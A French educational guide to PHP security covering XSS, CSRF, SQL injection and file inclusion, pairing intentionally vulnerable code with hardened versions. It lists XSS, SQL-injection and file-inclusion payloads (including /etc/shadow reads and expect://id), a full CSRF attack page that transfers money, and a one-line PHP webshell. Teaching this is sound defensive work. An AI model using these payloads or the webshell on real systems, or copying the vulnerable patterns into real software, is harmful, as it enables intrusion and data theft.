PHP Sécurité

Guide complet des vulnérabilités PHP les plus courantes avec exemples pratiques, démonstrations et solutions de protection pour un développement sécurisé.

Avertissement éducatif

Ce contenu est exclusivement destiné à l’apprentissage de la sécurité web dans un cadre éducatif. L’objectif est de comprendre les vulnérabilités pour mieux protéger vos applications. N’utilisez jamais ces techniques à des fins malveillantes.

XSS - Cross-Site Scripting

L'injection de scripts malveillants dans les pages web vues par d'autres utilisateurs.

⚠ Qu'est-ce que XSS ?

Définition :

XSS permet d'injecter du code JavaScript malveillant dans une page web. Ce code s'exécute dans le navigateur des victimes et peut voler des données, rediriger vers des sites malveillants ou effectuer des actions à leur insu.

Types de XSS :

XSS Réfléchi (Reflected)

Le script est immédiatement renvoyé dans la réponse

XSS Stocké (Stored)

Le script est sauvegardé dans la base de données

XSS DOM

Le script modifie le DOM côté client

Conséquences possibles :

  • Vol de cookies de session
  • Redirection vers des sites malveillants
  • Modification du contenu de la page
  • Keylogging (enregistrement des frappes)
  • Phishing intégré
  • Actions automatiques au nom de l'utilisateur

Code Vulnérable - Exemple XSS

php

<?php
/**
 * EXEMPLE VULNÉRABLE - Ne jamais utiliser en production !
 * Démonstration d'une faille XSS à des fins éducatives
 */

// Page vulnérable aux attaques XSS
$message = '';
$recherche = '';

if (isset($_GET['search'])) {
    $recherche = $_GET['search']; // VULNÉRABLE : Pas de filtrage !
    $message = "Résultats pour : " . $recherche; // INJECTION DIRECTE
}

if (isset($_POST['commentaire'])) {
    $commentaire = $_POST['commentaire']; // VULNÉRABLE : Pas de validation !

    // Simulation d'enregistrement en base
    file_put_contents('commentaires.txt', $commentaire . "\n", FILE_APPEND);
    $message = "Commentaire ajouté : " . $commentaire; // AFFICHAGE DIRECT
}

// Lecture des commentaires stockés (XSS Stocké)
$commentaires = [];
if (file_exists('commentaires.txt')) {
    $commentaires = file('commentaires.txt', FILE_IGNORE_NEW_LINES);
}
?>

<!DOCTYPE html>
<html>
<head>
    <title>Site Vulnérable - XSS Demo</title>
    <style>
        body { font-family: Arial; margin: 40px; background: #f5f5f5; }
        .container { background: white; padding: 30px; border-radius: 10px; }
        .danger { color: red; border: 2px solid red; padding: 10px; margin: 10px 0; }
        input, textarea { padding: 10px; margin: 5px; width: 300px; }
        button { padding: 10px 20px; background: #007bff; color: white; border: none; cursor: pointer; }
    </style>
</head>
<body>

<div class="container">
    <h1>🚨 Site Web Vulnérable (XSS Demo)</h1>

    <div class="danger">
        ⚠️ ATTENTION : Ce code est intentionnellement vulnérable à des fins éducatives !
    </div>

    <!-- XSS Réfléchi via paramètre GET -->
    <h2>Recherche (XSS Réfléchi)</h2>
    <form method="GET">
        <input type="text" name="search" placeholder="Entrez votre recherche..."
               value="<?= $recherche ?>"> <!-- VULNÉRABLE -->
        <button type="submit">Rechercher</button>
    </form>

    <?php if ($message): ?>
        <div style="background: yellow; padding: 10px; margin: 10px 0;">
            <?= $message ?> <!-- VULNÉRABLE : Affichage direct -->
        </div>
    <?php endif; ?>

    <!-- XSS Stocké via commentaires -->
    <h2>Commentaires (XSS Stocké)</h2>
    <form method="POST">
        <textarea name="commentaire" placeholder="Votre commentaire..."></textarea><br>
        <button type="submit">Publier</button>
    </form>

    <h3>Commentaires publiés :</h3>
    <?php foreach ($commentaires as $comment): ?>
        <div style="border: 1px solid #ccc; padding: 10px; margin: 5px 0;">
            <?= $comment ?> <!-- VULNÉRABLE : Affichage direct du contenu stocké -->
        </div>
    <?php endforeach; ?>

    <h3>Tests XSS à essayer (dans un environnement de test uniquement) :</h3>
    <div style="background: #ffe6e6; padding: 15px; border-left: 4px solid red;">
        <h4>Payloads XSS basiques :</h4>
        <ul style="font-family: monospace; background: #f8f8f8; padding: 10px;">
            <li>&lt;script&gt;alert('XSS')&lt;/script&gt;</li>
            <li>&lt;img src=x onerror=alert('XSS')&gt;</li>
            <li>&lt;svg onload=alert('XSS')&gt;</li>
            <li>&lt;iframe src=javascript:alert('XSS')&gt;</iframe></li>
        </ul>
        <p><strong>Attention :</strong> Ces payloads peuvent déclencher des alertes ou modifier la page !</p>
    </div>
</div>

</body>
</html>

Code Sécurisé - Protection contre XSS

php

<?php
/**
 * VERSION SÉCURISÉE - Protection contre XSS
 * Démonstration des bonnes pratiques de sécurité
 */

// Fonctions de sécurisation
function secure_output($data, $encoding = 'UTF-8') {
    return htmlspecialchars($data, ENT_QUOTES | ENT_HTML5, $encoding);
}

function validate_input($input, $max_length = 1000) {
    $input = trim($input);
    if (strlen($input) > $max_length) {
        return false;
    }
    return $input;
}

function sanitize_filename($filename) {
    return preg_replace('/[^a-zA-Z0-9._-]/', '', $filename);
}

// Initialisation
$message = '';
$recherche = '';
$error = '';

// Traitement sécurisé de la recherche
if (isset($_GET['search'])) {
    $recherche = validate_input($_GET['search'], 100);

    if ($recherche === false) {
        $error = "Recherche trop longue (maximum 100 caractères)";
    } elseif (!empty($recherche)) {
        // Validation supplémentaire : caractères autorisés
        if (preg_match('/^[a-zA-Z0-9\s\-\_\.]+$/', $recherche)) {
            $message = "Résultats pour : " . secure_output($recherche);
        } else {
            $error = "Caractères non autorisés dans la recherche";
        }
    }
}

// Traitement sécurisé des commentaires
if (isset($_POST['commentaire']) && isset($_POST['csrf_token'])) {

    // Vérification du token CSRF
    session_start();
    if (!hash_equals($_SESSION['csrf_token'] ?? '', $_POST['csrf_token'])) {
        $error = "Token CSRF invalide";
    } else {
        $commentaire = validate_input($_POST['commentaire'], 500);

        if ($commentaire === false) {
            $error = "Commentaire trop long (maximum 500 caractères)";
        } elseif (empty($commentaire)) {
            $error = "Le commentaire ne peut pas être vide";
        } else {
            // Filtrage supplémentaire pour détecter les tentatives d'injection
            $suspicious_patterns = [
                '/<script/i',
                '/javascript:/i',
                '/on\w+\s*=/i',
                '/<iframe/i',
                '/<embed/i',
                '/<object/i'
            ];

            $is_suspicious = false;
            foreach ($suspicious_patterns as $pattern) {
                if (preg_match($pattern, $commentaire)) {
                    $is_suspicious = true;
                    break;
                }
            }

            if ($is_suspicious) {
                $error = "Contenu suspect détecté et bloqué";
            } else {
                // Encodage sécurisé avant stockage
                $commentaire_secure = secure_output($commentaire);

                // Ajout d'horodatage et d'ID utilisateur (simulation)
                $timestamp = date('Y-m-d H:i:s');
                $user_id = $_SESSION['user_id'] ?? 'Anonyme';
                $ligne = "[$timestamp] $user_id: $commentaire_secure\n";

                // Écriture sécurisée dans le fichier
                $filename = sanitize_filename('commentaires_secure.txt');
                if (file_put_contents($filename, $ligne, FILE_APPEND | LOCK_EX)) {
                    $message = "Commentaire publié avec succès";
                } else {
                    $error = "Erreur lors de l'enregistrement";
                }
            }
        }
    }
}

// Génération du token CSRF
session_start();
if (!isset($_SESSION['csrf_token'])) {
    $_SESSION['csrf_token'] = bin2hex(random_bytes(32));
}

// Lecture sécurisée des commentaires
$commentaires = [];
$filename = sanitize_filename('commentaires_secure.txt');
if (file_exists($filename) && is_readable($filename)) {
    $lines = file($filename, FILE_IGNORE_NEW_LINES | FILE_SKIP_EMPTY_LINES);
    foreach ($lines as $line) {
        // Double sécurisation : le contenu est déjà encodé, mais on s'assure
        $commentaires[] = $line; // Déjà sécurisé lors du stockage
    }
    // Limiter le nombre de commentaires affichés
    $commentaires = array_slice(array_reverse($commentaires), 0, 50);
}
?>

<!DOCTYPE html>
<html lang="fr">
<head>
    <meta charset="UTF-8">
    <meta name="viewport" content="width=device-width, initial-scale=1.0">
    <title>Site Sécurisé - Protection XSS</title>
    <meta http-equiv="Content-Security-Policy" content="default-src 'self'; script-src 'self' 'unsafe-inline'; style-src 'self' 'unsafe-inline';">
    <style>
        /* Styles CSS ici */
    </style>
</head>
<body>
    <!-- Code HTML sécurisé ici -->
</body>
</html>

CSRF - Cross-Site Request Forgery

Forcer un utilisateur authentifié à exécuter des actions non désirées sur une application web.

⚠ Comment fonctionne CSRF ?

Principe :

CSRF exploite la confiance qu'un site web a en l'utilisateur. Si l'utilisateur est authentifié sur un site, l'attaquant peut créer une page malveillante qui envoie automatiquement des requêtes au nom de l'utilisateur sans qu'il s'en aperçoive.

Scénario d'attaque :

  • 1. L'utilisateur se connecte sur son site bancaire
  • 2. Il visite un site malveillant dans un autre onglet
  • 3. Le site malveillant contient un formulaire caché
  • 4. Ce formulaire envoie automatiquement une requête au site bancaire
  • 5. Le virement s'effectue car l'utilisateur est authentifié

Actions possibles :

  • Changement de mot de passe
  • Virements bancaires
  • Suppression de comptes
  • Publication de contenu
  • Commandes d'achats
Détection :
  • Actions critiques sans confirmation
  • Requêtes GET pour modifications
  • Absence de tokens de validation
  • Pas de vérification du referer

Simulation d'Attaque CSRF

Site Vulnérable (bank.php)

php

<?php
// Site bancaire vulnérable
session_start();

// Simulation d'authentification
if (!isset($_SESSION['user'])) {
    $_SESSION['user'] = 'Jean Dupont';
    $_SESSION['balance'] = 1000;
}

$message = '';

// VULNÉRABLE : Pas de protection CSRF
if ($_POST['action'] === 'transfer') {
    $amount = (float)$_POST['amount'];
    $to = $_POST['to'];

    if ($amount > 0 && $amount <= $_SESSION['balance']) {
        $_SESSION['balance'] -= $amount;
        $message = "Virement de {$amount}€ vers {$to}";
    }
}
?>

<html>
<head><title>Banque Virtuelle</title></head>
<body>
    <h1>🏦 Banque Virtuelle</h1>
    <p>Utilisateur : <?= $_SESSION['user'] ?></p>
    <p>Solde : <?= $_SESSION['balance'] ?>€</p>

    <?php if ($message): ?>
        <div style="color: red;"><?= $message ?></div>
    <?php endif; ?>

    <form method="POST">
        <input type="hidden" name="action" value="transfer">
        Montant : <input type="number" name="amount"><br>
        Vers : <input type="text" name="to"><br>
        <button type="submit">Virer</button>
    </form>
</body>
</html>

Site Malveillant (attacker.html)

php

<!-- Site de l'attaquant -->
<html>
<head><title>Site Innocent</title></head>
<body>
    <h1>🎁 Félicitations, vous avez gagné !</h1>
    <p>Cliquez pour récupérer votre prix !</p>

    <!-- Formulaire CSRF caché -->
    <iframe style="display:none" name="hidden"></iframe>

    <form method="POST"
          action="http://localhost/bank.php"
          target="hidden"
          id="csrf-attack">
        <input type="hidden" name="action" value="transfer">
        <input type="hidden" name="amount" value="500">
        <input type="hidden" name="to" value="Attaquant">
    </form>

    <button onclick="document.getElementById('csrf-attack').submit();">
        🎉 Récupérer mon prix !
    </button>

    <!-- Attaque automatique invisible -->
    <script>
        // Attaque automatique après 3 secondes
        setTimeout(function() {
            document.getElementById('csrf-attack').submit();
        }, 3000);
    </script>

    <!-- Autres techniques CSRF -->
    <!-- Image invisible qui déclenche l'attaque -->
    <img src="http://localhost/bank.php?action=transfer&amount=100&to=Attaquant"
         style="display:none">

    <!-- Lien apparemment innocent -->
    <a href="http://localhost/bank.php?action=transfer&amount=200&to=Attaquant">
        Voir plus de détails
    </a>
</body>
</html>

Protection CSRF - Version Sécurisée

php

<?php
/**
 * Protection CSRF complète
 */

session_start();

// Classe de protection CSRF
class CSRFProtection {

    public static function generateToken() {
        if (!isset($_SESSION['csrf_token'])) {
            $_SESSION['csrf_token'] = bin2hex(random_bytes(32));
        }
        return $_SESSION['csrf_token'];
    }

    public static function validateToken($token) {
        if (!isset($_SESSION['csrf_token'])) {
            return false;
        }
        return hash_equals($_SESSION['csrf_token'], $token);
    }

    public static function regenerateToken() {
        $_SESSION['csrf_token'] = bin2hex(random_bytes(32));
        return $_SESSION['csrf_token'];
    }

    public static function validateReferer($allowed_domains = []) {
        if (!isset($_SERVER['HTTP_REFERER'])) {
            return false;
        }

        $referer_host = parse_url($_SERVER['HTTP_REFERER'], PHP_URL_HOST);
        $current_host = $_SERVER['HTTP_HOST'];

        // Vérifier que le referer vient du même domaine
        if ($referer_host !== $current_host) {
            return false;
        }

        return true;
    }

    public static function validateOrigin() {
        if (!isset($_SERVER['HTTP_ORIGIN'])) {
            return false;
        }

        $origin_host = parse_url($_SERVER['HTTP_ORIGIN'], PHP_URL_HOST);
        $current_host = $_SERVER['HTTP_HOST'];

        return $origin_host === $current_host;
    }
}

// Suite du code de protection...
?>

SQL Injection

Injection de code SQL malveillant dans les requêtes de base de données pour contourner les contrôles de sécurité.

💾 Types d'injection SQL

Techniques principales :

Union-based

Combine les résultats avec UNION SELECT

Boolean-based

Basée sur les réponses vrai/faux

Time-based

Utilise les délais de réponse

Error-based

Exploite les messages d'erreur

Conséquences possibles :

  • Extraction de données sensibles
  • Contournement d'authentification
  • Modification/suppression de données
  • Exécution de commandes système
  • Élévation de privilèges
  • Déni de service (DoS)

Code Vulnérable - SQL Injection

php

<?php
/**
 * EXEMPLE VULNÉRABLE - SQL Injection
 * Démonstration des failles d'injection SQL à des fins éducatives
 */

// Configuration de base de données simulée
$host = 'localhost';
$dbname = 'vulnerable_db';
$username = 'root';
$password = '';

try {
    $pdo = new PDO("mysql:host=$host;dbname=$dbname", $username, $password);
    $pdo->setAttribute(PDO::ATTR_ERRMODE, PDO::ERRMODE_EXCEPTION);
} catch(PDOException $e) {
    die("Erreur de connexion : " . $e->getMessage());
}

$message = '';
$users = [];

// 1. AUTHENTIFICATION VULNÉRABLE
if (isset($_POST['login'])) {
    $username = $_POST['username'];
    $password = $_POST['password'];

    // VULNÉRABLE : Concaténation directe dans la requête SQL
    $sql = "SELECT * FROM users WHERE username = '$username' AND password = '$password'";

    try {
        $result = $pdo->query($sql);
        $user = $result->fetch(PDO::FETCH_ASSOC);

        if ($user) {
            $message = "Connexion réussie ! Bienvenue " . htmlspecialchars($user['username']);
            $_SESSION['user_id'] = $user['id'];
        } else {
            $message = "Identifiants incorrects";
        }
    } catch (PDOException $e) {
        $message = "Erreur SQL : " . $e->getMessage(); // VULNÉRABLE : Exposition des erreurs
    }
}

// 2. RECHERCHE VULNÉRABLE - Union-based
if (isset($_GET['search'])) {
    $search = $_GET['search'];

    // VULNÉRABLE : Pas d'échappement des caractères spéciaux
    $sql = "SELECT id, username, email FROM users WHERE username LIKE '%$search%'";

    try {
        $result = $pdo->query($sql);
        $users = $result->fetchAll(PDO::FETCH_ASSOC);

        if (empty($users)) {
            $message = "Aucun résultat pour : " . htmlspecialchars($search);
        }
    } catch (PDOException $e) {
        $message = "Erreur de recherche : " . $e->getMessage();
    }
}

// 3. PROFIL UTILISATEUR VULNÉRABLE - Error-based
if (isset($_GET['user_id'])) {
    $user_id = $_GET['user_id'];

    // VULNÉRABLE : Pas de validation du type de données
    $sql = "SELECT * FROM users WHERE id = $user_id";

    try {
        $result = $pdo->query($sql);
        $user_profile = $result->fetch(PDO::FETCH_ASSOC);
    } catch (PDOException $e) {
        $message = "Erreur profil : " . $e->getMessage(); // Fuite d'informations
    }
}

// Payloads d'exemples pour tests éducatifs
$payloads = [
    'auth_bypass' => [
        "admin' --",
        "admin'/*",
        "' OR '1'='1' --",
        "' OR 1=1 #",
        "') OR ('1'='1"
    ],
    'union_select' => [
        "' UNION SELECT 1,2,3 --",
        "' UNION SELECT null,username,password FROM users --",
        "' UNION SELECT 1,database(),version() --",
        "' UNION SELECT 1,table_name,3 FROM information_schema.tables --"
    ]
];
?>

<!DOCTYPE html>
<html>
<head>
    <title>🚨 SQL Injection Demo</title>
</head>
<body>
    <h1>🚨 SQL Injection Vulnerabilities Demo</h1>

    <div class="danger">
        ⚠️ <strong>ATTENTION :</strong> Cette page contient des vulnérabilités SQL critiques !
    </div>

    <!-- Authentification vulnérable -->
    <form method="POST">
        <input type="text" name="username" placeholder="Nom d'utilisateur">
        <input type="password" name="password" placeholder="Mot de passe">
        <button type="submit" name="login">Se connecter</button>
    </form>

    <!-- Recherche vulnérable -->
    <form method="GET">
        <input type="text" name="search" placeholder="Rechercher">
        <button type="submit">Rechercher</button>
    </form>
</body>
</html>

Code Sécurisé - Protection SQL Injection

php

<?php
/**
 * VERSION SÉCURISÉE - Protection contre l'injection SQL
 * Démonstration des bonnes pratiques de sécurité
 */

// Classe de protection SQL complète
class SecureDatabase {
    private $pdo;
    private $allowedColumns = ['id', 'username', 'email', 'created_at'];
    private $maxAttempts = 5;
    private $lockoutTime = 900; // 15 minutes

    public function __construct($host, $dbname, $username, $password) {
        try {
            $dsn = "mysql:host=$host;dbname=$dbname;charset=utf8mb4";
            $options = [
                PDO::ATTR_ERRMODE => PDO::ERRMODE_EXCEPTION,
                PDO::ATTR_DEFAULT_FETCH_MODE => PDO::FETCH_ASSOC,
                PDO::ATTR_EMULATE_PREPARES => false // Force vraies prepared statements
            ];

            $this->pdo = new PDO($dsn, $username, $password, $options);
        } catch(PDOException $e) {
            error_log("Erreur DB: " . $e->getMessage());
            throw new Exception("Erreur de connexion à la base de données");
        }
    }

    // Authentification sécurisée avec rate limiting
    public function authenticate($username, $password) {
        try {
            // Validation des entrées
            if (!is_string($username) || !is_string($password)) {
                throw new InvalidArgumentException("Paramètres invalides");
            }

            $username = trim($username);

            if (strlen($username) > 50 || strlen($password) > 100) {
                throw new InvalidArgumentException("Paramètres trop longs");
            }

            // Vérification rate limiting
            $this->checkRateLimit($username);

            // Requête préparée sécurisée
            $stmt = $this->pdo->prepare(
                "SELECT id, username, password_hash, email, active
                 FROM users
                 WHERE username = ? AND active = 1"
            );
            $stmt->execute([$username]);
            $user = $stmt->fetch();

            // Vérification du mot de passe
            if ($user && password_verify($password, $user['password_hash'])) {
                $this->logAttempt($username, true);
                return $user;
            } else {
                $this->logAttempt($username, false);
                throw new Exception("Identifiants incorrects");
            }

        } catch (InvalidArgumentException $e) {
            throw new Exception("Données d'entrée invalides");
        }
    }

    // Recherche sécurisée avec validation
    public function searchUsers($query, $orderBy = 'username', $limit = 10) {
        try {
            // Validation de la requête
            $query = trim($query);
            if (strlen($query) > 100) {
                throw new InvalidArgumentException("Requête trop longue");
            }

            // Validation ORDER BY avec whitelist
            if (!in_array($orderBy, $this->allowedColumns)) {
                $orderBy = 'username'; // Valeur par défaut
            }

            // Validation LIMIT
            $limit = max(1, min(100, (int)$limit));

            // Échappement pour LIKE
            $likeQuery = '%' . str_replace(['%', '_'], ['\%', '\_'], $query) . '%';

            // Prepared statement avec ORDER BY sécurisé
            $sql = "SELECT id, username, email, created_at
                    FROM users
                    WHERE (username LIKE ? OR email LIKE ?)
                    AND active = 1
                    ORDER BY {$orderBy}
                    LIMIT ?";

            $stmt = $this->pdo->prepare($sql);
            $stmt->execute([$likeQuery, $likeQuery, $limit]);

            return $stmt->fetchAll();

        } catch (Exception $e) {
            error_log("Erreur recherche: " . $e->getMessage());
            throw new Exception("Erreur lors de la recherche");
        }
    }

    // Récupération sécurisée par ID
    public function getUserById($userId) {
        $userId = filter_var($userId, FILTER_VALIDATE_INT, [
            'options' => ['min_range' => 1, 'max_range' => 999999]
        ]);

        if ($userId === false) {
            throw new InvalidArgumentException("ID utilisateur invalide");
        }

        $stmt = $this->pdo->prepare(
            "SELECT id, username, email, created_at
             FROM users
             WHERE id = ? AND active = 1"
        );
        $stmt->execute([$userId]);

        $user = $stmt->fetch();
        if (!$user) {
            throw new Exception("Utilisateur non trouvé");
        }

        return $user;
    }

    // Mise à jour sécurisée
    public function updateUserEmail($userId, $newEmail) {
        // Validation de l'ID
        $userId = filter_var($userId, FILTER_VALIDATE_INT, [
            'options' => ['min_range' => 1, 'max_range' => 999999]
        ]);

        if ($userId === false) {
            throw new InvalidArgumentException("ID utilisateur invalide");
        }

        // Validation de l'email
        $newEmail = filter_var($newEmail, FILTER_VALIDATE_EMAIL);
        if ($newEmail === false) {
            throw new InvalidArgumentException("Email invalide");
        }

        // Vérification unicité email
        $stmt = $this->pdo->prepare(
            "SELECT id FROM users WHERE email = ? AND id != ?"
        );
        $stmt->execute([$newEmail, $userId]);

        if ($stmt->fetch()) {
            throw new Exception("Cette adresse email est déjà utilisée");
        }

        // Mise à jour sécurisée
        $stmt = $this->pdo->prepare(
            "UPDATE users
             SET email = ?, updated_at = NOW()
             WHERE id = ? AND active = 1"
        );

        $result = $stmt->execute([$newEmail, $userId]);

        if ($stmt->rowCount() === 0) {
            throw new Exception("Mise à jour impossible");
        }

        return true;
    }

    // Rate limiting
    private function checkRateLimit($username) {
        $stmt = $this->pdo->prepare(
            "SELECT attempts, last_attempt
             FROM login_attempts
             WHERE username = ?
             AND last_attempt > DATE_SUB(NOW(), INTERVAL ? SECOND)"
        );
        $stmt->execute([$username, $this->lockoutTime]);
        $attempts = $stmt->fetch();

        if ($attempts && $attempts['attempts'] >= $this->maxAttempts) {
            throw new Exception("Compte temporairement bloqué");
        }
    }

    // Log des tentatives
    private function logAttempt($username, $success = false) {
        $stmt = $this->pdo->prepare(
            "INSERT INTO login_attempts (username, attempts, last_attempt, success)
             VALUES (?, 1, NOW(), ?)
             ON DUPLICATE KEY UPDATE
             attempts = IF(success = 1, 1, attempts + 1),
             last_attempt = NOW(),
             success = ?"
        );
        $stmt->execute([$username, $success, $success]);
    }
}

// Utilisation sécurisée
try {
    $db = new SecureDatabase('localhost', 'secure_db', 'username', 'password');
} catch (Exception $e) {
    die("Erreur d'initialisation");
}

session_start();
$message = '';

// Traitement sécurisé de l'authentification
if (isset($_POST['login'])) {
    try {
        $user = $db->authenticate($_POST['username'], $_POST['password']);

        // Régénération de session
        session_regenerate_id(true);

        $_SESSION['user_id'] = $user['id'];
        $_SESSION['username'] = $user['username'];
        $_SESSION['csrf_token'] = bin2hex(random_bytes(32));

        $message = "Connexion réussie !";

    } catch (Exception $e) {
        $message = $e->getMessage();
    }
}

// Traitement sécurisé de la recherche
if (isset($_GET['search']) && !empty($_GET['search'])) {
    try {
        $users = $db->searchUsers($_GET['search']);
        $message = "Recherche effectuée";
    } catch (Exception $e) {
        $message = $e->getMessage();
    }
}
?>

<!DOCTYPE html>
<html lang="fr">
<head>
    <meta charset="UTF-8">
    <title>Application Sécurisée - Protection SQL</title>
    <meta http-equiv="Content-Security-Policy"
          content="default-src 'self'; style-src 'self' 'unsafe-inline';">
</head>
<body>
    <h1>🛡️ Application Sécurisée - Protection SQL Injection</h1>

    <div class="best-practice">
        <strong>✅ Protections implémentées :</strong><br>
        • Prepared statements avec paramètres liés<br>
        • Validation stricte des entrées<br>
        • Hachage sécurisé des mots de passe<br>
        • Rate limiting contre brute force<br>
        • Whitelist pour ORDER BY<br>
        • Gestion d'erreurs sécurisée
    </div>
</body>
</html>

File Inclusion - Inclusion de Fichiers

Exploitation des fonctions d'inclusion PHP pour accéder à des fichiers non autorisés ou exécuter du code malveillant.

📁 Types d'inclusion de fichiers

Techniques principales :

LFI - Local File Inclusion

Inclusion de fichiers locaux du serveur

RFI - Remote File Inclusion

Inclusion de fichiers depuis des serveurs distants

Path Traversal

Navigation dans l'arborescence avec ../

PHP Wrappers

Utilisation de php://filter, data://, etc.

Conséquences possibles :

  • Lecture de fichiers sensibles (/etc/passwd)
  • Exécution de code arbitraire (RCE)
  • Accès aux logs et configurations
  • Upload et exécution de webshells
  • Contournement de restrictions
  • Exposition du code source

Code Vulnérable - File Inclusion

php

<?php
/**
 * EXEMPLE VULNÉRABLE - File Inclusion Vulnerabilities
 * Démonstration des failles d'inclusion de fichiers à des fins éducatives
 */

$message = '';
$content = '';
$error = '';

// 1. INCLUSION DIRECTE VULNÉRABLE (LFI)
if (isset($_GET['page'])) {
    $page = $_GET['page'];

    // VULNÉRABLE : Inclusion directe sans validation
    include($page);
}

// 2. INCLUSION AVEC EXTENSION AJOUTÉE (Bypass possible)
if (isset($_GET['lang'])) {
    $lang = $_GET['lang'];

    // VULNÉRABLE : Extension ajoutée mais bypassable
    include("languages/" . $lang . ".php");
}

// 3. INCLUSION AVEC PRÉFIXE/SUFFIXE
if (isset($_GET['template'])) {
    $template = $_GET['template'];

    // VULNÉRABLE : Préfixe ajouté mais bypassable avec path traversal
    include("templates/" . $template . "_view.php");
}

// 4. FONCTION DE LECTURE DE FICHIER VULNÉRABLE
if (isset($_GET['file'])) {
    $filename = $_GET['file'];

    // VULNÉRABLE : Lecture de fichier sans validation
    if (file_exists($filename)) {
        $content = file_get_contents($filename);
        echo "<h3>Contenu du fichier :</h3>";
        echo "<pre>" . htmlspecialchars($content) . "</pre>";
    } else {
        $error = "Fichier non trouvé : " . htmlspecialchars($filename);
    }
}

// 5. INCLUSION AVEC FILTRAGE FAIBLE
if (isset($_GET['doc'])) {
    $doc = $_GET['doc'];

    // VULNÉRABLE : Filtrage insuffisant
    if (!strpos($doc, '..')) { // Facilement bypassable
        include("docs/" . $doc . ".html");
    }
}

// 6. UPLOAD ET INCLUSION
if (isset($_POST['upload']) && isset($_FILES['file'])) {
    $uploadDir = 'uploads/';
    $uploadFile = $uploadDir . basename($_FILES['file']['name']);

    // VULNÉRABLE : Pas de validation du type de fichier
    if (move_uploaded_file($_FILES['file']['tmp_name'], $uploadFile)) {
        $message = "Fichier uploadé : " . htmlspecialchars($uploadFile);

        // VULNÉRABLE : Inclusion automatique du fichier uploadé
        if (isset($_GET['execute_upload'])) {
            include($uploadFile);
        }
    }
}

// 7. WRAPPER PHP:// VULNÉRABLE
if (isset($_GET['wrapper'])) {
    $wrapper = $_GET['wrapper'];

    // VULNÉRABLE : Wrappers PHP non filtrés
    echo file_get_contents($wrapper);
}

// 8. INCLUSION AVEC REMOTE FILE (RFI)
if (isset($_GET['remote_config']) && ini_get('allow_url_include')) {
    $config_url = $_GET['remote_config'];

    // VULNÉRABLE : Inclusion d'URL distante
    include($config_url);
}

// Fonction d'aide pour créer des fichiers de test
function createTestFiles() {
    if (!file_exists('test_files')) {
        mkdir('test_files', 0777, true);
    }

    file_put_contents('test_files/secret.txt', 'Informations confidentielles!');
    file_put_contents('test_files/config.php', '<?php $db_password = "secret123"; ?>');
}

createTestFiles();
?>

<!DOCTYPE html>
<html>
<head>
    <title>📁 File Inclusion Demo</title>
</head>
<body>
    <h1>📁 File Inclusion Vulnerabilities Demo</h1>

    <div class="danger">
        ⚠️ <strong>ATTENTION :</strong> Vulnérabilités d'inclusion de fichiers !
    </div>

    <!-- Test LFI Basic -->
    <h3>1. Local File Inclusion (LFI)</h3>
    <p>
        <a href="?page=test_files/secret.txt">Fichier secret</a> |
        <a href="?page=/etc/passwd">Passwd (Linux)</a>
    </p>

    <form method="GET">
        <input type="text" name="page" placeholder="Chemin du fichier">
        <button type="submit">Inclure fichier</button>
    </form>

    <div class="payload">
        <strong>Payloads LFI :</strong><br>
        • /etc/passwd<br>
        • /etc/shadow<br>
        • /var/log/apache2/access.log<br>
        • ../../../etc/passwd<br>
        • C:\Windows\System32\drivers\etc\hosts
    </div>

    <!-- Test Path Traversal -->
    <h3>2. Path Traversal</h3>
    <form method="GET">
        <input type="text" name="lang" placeholder="ex: ../../etc/passwd">
        <button type="submit">Charger langue</button>
    </form>

    <!-- Test PHP Wrappers -->
    <h3>3. PHP Wrappers</h3>
    <form method="GET">
        <input type="text" name="wrapper" placeholder="PHP Wrapper" style="width: 400px;">
        <button type="submit">Exécuter wrapper</button>
    </form>

    <div class="payload">
        <strong>PHP Wrappers :</strong><br>
        • php://filter/read=convert.base64-encode/resource=/etc/passwd<br>
        • data://text/plain,&lt;?php phpinfo(); ?&gt;<br>
        • expect://id
    </div>

    <!-- Test Upload -->
    <h3>4. Upload + Inclusion</h3>
    <form method="POST" enctype="multipart/form-data">
        <input type="file" name="file">
        <button type="submit" name="upload">Upload</button>
    </form>

    <div class="payload">
        <strong>Contenu webshell :</strong><br>
        &lt;?php system($_GET['cmd']); ?&gt;
    </div>
</body>
</html>

Code Sécurisé - Protection File Inclusion

php

<?php
/**
 * VERSION SÉCURISÉE - Protection contre l'inclusion de fichiers
 * Démonstration des bonnes pratiques de sécurité
 */

class SecureFileManager {
    private $allowedDirectories = [
        'templates' => __DIR__ . '/templates/',
        'languages' => __DIR__ . '/languages/',
        'public_docs' => __DIR__ . '/public_docs/',
        'uploads' => __DIR__ . '/uploads/'
    ];

    private $allowedExtensions = [
        'templates' => ['.php', '.tpl'],
        'languages' => ['.php', '.json'],
        'public_docs' => ['.txt', '.md', '.html'],
        'uploads' => ['.jpg', '.png', '.gif', '.pdf']
    ];

    private $maxFileSize = 5242880; // 5MB

    public function __construct() {
        // Créer les répertoires autorisés
        foreach ($this->allowedDirectories as $dir) {
            if (!is_dir($dir)) {
                mkdir($dir, 0755, true);
            }
        }

        // Configuration PHP sécurisée
        ini_set('allow_url_include', '0');
        ini_set('allow_url_fopen', '0');
    }

    /**
     * Validation stricte des chemins
     */
    private function validatePath($path, $directory) {
        $realPath = realpath($path);
        $allowedDir = realpath($this->allowedDirectories[$directory]);

        // Vérification dans le répertoire autorisé
        if (!$realPath || !$allowedDir || strpos($realPath, $allowedDir) !== 0) {
            throw new InvalidArgumentException("Chemin non autorisé");
        }

        return $realPath;
    }

    /**
     * Validation de l'extension
     */
    private function validateExtension($filename, $directory) {
        $extension = strtolower(pathinfo($filename, PATHINFO_EXTENSION));
        $allowedExts = $this->allowedExtensions[$directory] ?? [];

        $hasValidExtension = false;
        foreach ($allowedExts as $allowedExt) {
            if (str_ends_with(strtolower($filename), $allowedExt)) {
                $hasValidExtension = true;
                break;
            }
        }

        if (!$hasValidExtension) {
            throw new InvalidArgumentException("Extension non autorisée");
        }
    }

    /**
     * Inclusion sécurisée de templates
     */
    public function includeTemplate($templateName, $variables = []) {
        try {
            // Validation du nom (whitelist stricte)
            if (!preg_match('/^[a-zA-Z0-9_-]+$/', $templateName)) {
                throw new InvalidArgumentException("Nom de template invalide");
            }

            $filename = $templateName . '.php';
            $fullPath = $this->allowedDirectories['templates'] . $filename;

            // Validation extension et chemin
            $this->validateExtension($filename, 'templates');
            $realPath = $this->validatePath($fullPath, 'templates');

            if (!file_exists($realPath)) {
                throw new Exception("Template non trouvé");
            }

            // Extraction sécurisée des variables
            if (!empty($variables) && is_array($variables)) {
                extract($variables, EXTR_SKIP); // EXTR_SKIP évite l'écrasement
            }

            // Inclusion sécurisée
            include $realPath;

        } catch (Exception $e) {
